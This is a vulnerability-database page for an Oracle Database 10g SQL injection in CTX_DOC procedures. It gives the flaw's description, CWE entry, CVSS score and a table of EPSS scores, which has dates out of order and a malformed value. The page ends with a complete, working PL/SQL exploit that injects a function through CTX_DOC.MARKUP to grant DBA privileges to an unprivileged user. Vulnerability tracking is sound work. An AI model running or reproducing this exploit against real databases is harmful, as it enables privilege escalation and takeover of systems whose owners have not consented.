CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple SQL injection vulnerabilities in the CTXSYS Intermedia application for the Oracle Text component (CTX_DOC) in Oracle Database 10.1.0.5 and 10.2.0.3 allow remote authenticated users to execute arbitrary SQL commands via the (1) THEMES, (2) GIST, (3) TOKENS, (4) FILTER, (5) HIGHLIGHT, and (6) MARKUP procedures, aka DB03. NOTE: remote unauthenticated attack vectors exist when CTXSYS is used with oracle Application Server.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.39%
–
–
2022-04-03
–
–
4.39%
–
–
2022-08-28
–
–
4.39%
–
–
2023-03-12
–
–
–
0.36%
–
2023-07-09
–
–
–
0.51%
–
2023-08-27
–
–
–
0.51%
–
2023-09-17
–
–
–
0.6%
–
2024-01-07
–
–
–
0.55%
–
2024-02-11
–
–
–
0.78%
–
2024-03-24
–
–
–
0.59%
–
2024-06-02
–
–
–
0.59%
–
2024-06-09
–
–
–
0.45%
–
2024-07-14
–
–
–
0.8%
–
2024-09-29
–
–
–
0.69%
–
2024-10-27
–
–
–
0.69%
–
2024-11-10
–
–
–
0.57%
–
2024-11-24
–
–
–
0.57%
–
2024-12-15
–
–
–
0.53%
–
2024-12-22
–
–
–
3.65%
–
2025-01-26
–
–
–
3.51%
–
2025-03-16
–
–
–
2.99%
–
2025-01-19
–
–
–
3.65%
–
2025-01-25
–
–
–
3.51%
–
2025-03-18
–
–
–
–
1.4%
2025-03-18
–
–
–
–
1.4,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/******************************************************************/
/******* Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit **********/
/******************************************************************/
/************ sploit grant DBA to unprivileged user ***************/
/******************************************************************/
/****************** BY Sh2kerR (Digital Security) ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0 *******************/
/******************************************************************/
/******************************************************************/
/* Date of Public EXPLOIT: October 23, 2007 */
/* Written by: Alexandr "Sh2kerr" Polyakov */
/* email: Alexandr.Polyakov@dsec.ru */
/* site: http://www.dsec.ru */
/******************************************************************/
/* Original Advisory by: */
/* David Litchfield [ davidl@ngssoftware.com ] */
/* Reported: 6 June 2005 */
/* Date of Public Advisory: October 17, 2007 */
/* Advisory number: #NISR17102007A */
/* */
/******************************************************************/
select * from user_role_privs;
CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
COMMIT;
RETURN '';
END;
/
set serveroutput on
create table mark_tab (id number primary key, text varchar2(80) );
insert into mark_tab values ('1', 'All your bases are belong to US');
create index mark_tab_idx on mark_tab(text)
indextype is ctxsys.context parameters
('filter ctxsys.null_filter');
SET SERVEROUTPUT ON;
DECLARE
mklob CLOB;
amt NUMBER := 40;
line VARCHAR2(80);
BEGIN
CTX_DOC.MARKUP('mark_tab_idx','1',''||scott.HACKIT()||'', mklob);
DBMS_LOB.READ(mklob, amt, 1, line);
DBMS_OUTPUT.PUT_LINE('QWRvcmUuVS5NeS5TdGFy'||line);
DBMS_LOB.FREETEMPORARY(mklob);
END;
/
select * from user_role_privs;
/******************************************************************/
/*************************** SEE U LATER ;) ***********************/
/******************************************************************/
// milw0rm.com [2007-10-23]